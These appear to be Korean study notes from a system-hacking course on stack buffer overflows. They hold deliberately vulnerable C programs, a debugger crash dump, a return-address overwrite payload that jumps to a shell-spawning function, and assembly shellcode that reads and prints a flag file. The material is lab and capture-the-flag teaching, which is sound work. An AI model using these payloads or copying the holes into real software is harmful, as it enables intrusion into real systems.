    • 버퍼들의 값이 조작될 위험이 있다.
    • image-20230420105248778
  • 문제점
    • 해당 데이터가 변조 됨으로써 문제가 발생
    • 악성 데이터 감지해주는 프로그램의 조건을 변경하여 실행불가능 하도록 만든다.

4.2.1 스택 버퍼 오버플로우 예제 : 스택 프레임의 침범

int check_auth(char *password){
    int auth = 0;
    char temp[16];

    strncpy(temp, password, strlen(password));   // 여기서 버퍼가 침범한다. 16개이상을 적으면

    if(!strcmp(temp, "SECRET_PASSWORD")) // 값이 0이면 true
        auth = 1;   // 인증번호

    return auth;
}

int main(int argc, char *argv[]){
    if(argc != 2){
        printf("Usage: ./sbof_auth ADMIN_PASSWORD\n");
        exit(-1);
    }

    if (check_auth(argv[1]))  
        printf("Hello Admin!\n"); // 맞다.
    else
        printf("Access Denied!\n"); // 비번이 틀리다
}

image-20230420110920488image-20230420110938063image-20230420110955369


4.2.2 스택 버퍼 오버플로우와 메모리 릭 문자열 침범

*name길이 + barrier *공간을 침범 8 + 4 을하면 secret읽기 가능

int main(void){
    char secret[16] = "secret message";   // 핵심
    char barrier[4] = {};    // 핵심    
    char name[8] = {};   // 핵심 

    memset(barrier, 0, 4);

    printf("Your name: ");
    read(0, name, 12);

    printf("Your name is %s.", name);
}

image-20230420111538461


4.2.3 스택 버퍼 오버플로우 : 반환 주소 조작

*반환 주소 조작 *

int main(void){
    char buf[8];

    printf("Overwrite return address with 0x414141414141: ");
    gets(buf);

    return 0;
}

image-20230420113241914

4.2.4 세그먼트 이후 core 파일 분석

core 분석

Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000000000040121e in ?? ()   // 1. 이명령어 실행하는 동시에 *****
------- tip of the day (disable with set show-tips off) -------
Use the errno (or errno <number>) command to see the name of the last or provided (libc) error
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
 RAX  0x0
 RBX  0x7ffe4031dbb8 —▸ 0x7ffe4031f282 ◂— 0x4f43006f61722f2e /* './rao' */
 RCX  0x0
 RDX  0x0
 RDI  0x7ffe4031d530 —▸ 0x7ffe4031dab0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 RSI  0xa
 R8   0x402015 ◂— 0x3c3b031b01000073 /* 's' */
 R9   0x7f5a4ea76a80 ◂— 0xfbad208b
 R10  0xffffffff
 R11  0x7f5a4ea77560 —▸ 0x7f5a4ea73800 —▸ 0x7f5a4ea3b47c ◂— 0x5a5400544d470043 /* 'C' */
 R12  0x0
 R13  0x7ffe4031dbc8 —▸ 0x7ffe4031f288 ◂— 'COLORFGBG=15;0'
 R14  0x403e00 —▸ 0x401120 ◂— endbr64
 R15  0x7f5a4eacf020 —▸ 0x7f5a4ead02e0 ◂— 0x0
 RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7ffe4031daa8 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 RIP  0x40121e ◂— ret
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────
 ► 0x40121e    ret    <0x4141414141414141>  // 0x4141414141414141 에 리턴 점프를 하라.
                                             // 2. AAAAA가 리턴 해야하는 주소에 옮겨서 썼다.










───────────────────────────────────────────────────[ STACK ]────────────────────────────────
00:0000│ rsp 0x7ffe4031daa8 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓        7 skipped
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────
 ► f 0         0x40121e
   f 1 0x6161616161616161
   f 2 0x6161616161616161
   f 3 0x6161616161616161
   f 4 0x6161616161616161
   f 5 0x6161616161616161
   f 6 0x6161616161616161
   f 7 0x6161616161616161

4.2.5 반환 주소 덮기 실습 예제

// Name: rao.c
// Complile: gcc -o rao rao.c -fno-stack-protector -no-pie
// 스택버퍼 오버플오우 적용 안하겠다.

#include <stdio.h>
#include <unistd.h>

void init()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdou, 0, 2, 0);
}

void get_shell() // shell 의 주소값을 가져온다.
{
    char *cmd = "/bin/sh";
    char *args[] = {cmd, NULL};

    execve(cmd, args, NULL);
}

int main()
{
    char buf[0x30]; // rbp의 바로위에 48byte의 크기를 배열로 갖는다.

    init();

    printf("Input: ");
    scanf("%s", buf); // 핵심 이걸로 메인함수 리턴 주소를 덮는다.

    return 0;
}

4.2.5.1 침법하기 시작하는 주소

A를 56개를 쓰면 return 주소에 침범을 안하고

A를 57개부터 침법하기 시작한다.

image-20230420160340705

4.2.5.2 scanf의 인자와 , 실행하기 전 상황

*rdi *는 첫번째 인자

*dsi *는 두번째 인자

image-20230420160444980image-20230420095400995

4.2.5.3 스택 프래임의 구조

image-20230420160710363

4.2.6 get_shell() 주소확인, 페이로드 공격, 리턴주소 오염

4.2.6.1 셀을 실행해주는 get_shell()함수 을 이용해 셀의 주소알기

// 반환 주소 덮기 예제에 있는 함수
void get_shell(){
    char *cmd = "/bin/sh";
    char *args[] = {cmd, NULL};

    execve(cmd, args, NULL);
}

image-20230420161113526

pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x401199 <get_shell>

4.2.6.2페이로드에 의해 오염되는 스택 프레임

image-20230420161537777

• 익스플로잇을 작성할 때는 대상 시스템의 엔디언을
고려. 
• 리틀 엔디언을 사용하는 인텔 x86-64아키텍처를
대상으로 하므로, get_shell()의 주소인 0x401199은

항상 문자는 반대로 집어 넣어라

“\x99\x11\x40\x00\x00\x00\x00\x00”로 전달.

image-20230420161829515

## 익스플로잇 파이썬 코드
(python -c "import sys; sys.stdout.buffer.write(b'A'*0x30 +  b'B'*0x8 + b'\x99\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao 

4.2 스텍 버퍼 오버 플로우 요약

입력 함수(패턴) 위험도 평가 근거
gets(buf) 매우 위험 입력받는 길이에 제한이 없음, 버퍼의 널 종결을 보장하지 않는다.
scanf("%s", buf) 매우 위험 입력받는 길이에 제한이 없음, 버퍼의 널 종결을 보장하지 않는다.
scanf("%[width]s", buf) 위험  

image-20230420162154162

10장 문자열

0x4005a7

a7 05 40 00 00 00 00 00

1번 과제 길이가 긴 문자열

// Compile: gcc -o shell_basic_sh shell_basic_sh.c -masm=intel
// 'gnooooool_si_eman_galf/cisab_llehs/emoh/'
// '/home/shell_basic/flag_name_is_loooooong'

// gnoooooo 676e6f6f6f6f6f6f
// l_si_ema 6c5f73695f656d61
// n_galf/c 6e5f67616c662f63
// isab_lle 697361625f6c6c65
// hs/emoh/ 68732f656d6f682f
__asm__(
        ".global run_sh\n"
        "run_sh:\n"

        "push 0x0\n"
        "mov rax, 0x676E6F6F6F6F6F6F\n"  
        // gnoooooo 676e6f6f6f6f6f6f
        "push rax\n"

        "mov rax, 0x6C5F73695F656D61\n"
        // l_si_ema 6c5f73695f656d61
        "push rax\n"

        "mov rax, 0x6E5F67616C662F63\n"
        // n_galf/c 6e5f67616c662f63
        "push rax\n"

        "mov rax, 0x697361625F6C6C65\n"
        // isab_lle 697361625f6c6c65
        "push rax\n"

        "mov rax, 0x68732F656D6F682F\n"
        // hs/emoh/ 68732f656d6f682f
        "push rax\n"

        "mov rdi, rsp    # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"    
        "xor rsi, rsi   # rsi = 0 ; RD_ONLY\n"
        "xor rdx, rdx   # rdx = 0\n"
        "mov rax, 0x2   # rax = 2 ; syscall_open\n"
        "syscall        # open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)\n"
        "\n"
        "mov rdi, rax    # rdi = fd\n"
        "mov rsi, rsp\n"
        "sub rsi, 0x30    # rsi = rsp-0x30 ; buf\n"
        "mov rdx, 0x30    # rdx = 0x30      ; len\n"
        "mov rax, 0x0    # rax = 0      ; syscall_read\n"
        "syscall        # read(fd, buf, 0x30)\n"
        "\n"
        "mov rdi, 0x1    # rdi = 1; fd = stdout\n"
        "mov rax, 0x1    # syscall_write\n"
        "syscall        # write(fd, buf, 0x30)\n"
        "\n"
        "xor rdi, rdi    # rdi = 0\n"
        "mov rax, 0x3c    # rax = sys_exit\n"
        "syscall        # exit(0)"
        );

void run_sh();

int main() { run_sh(); }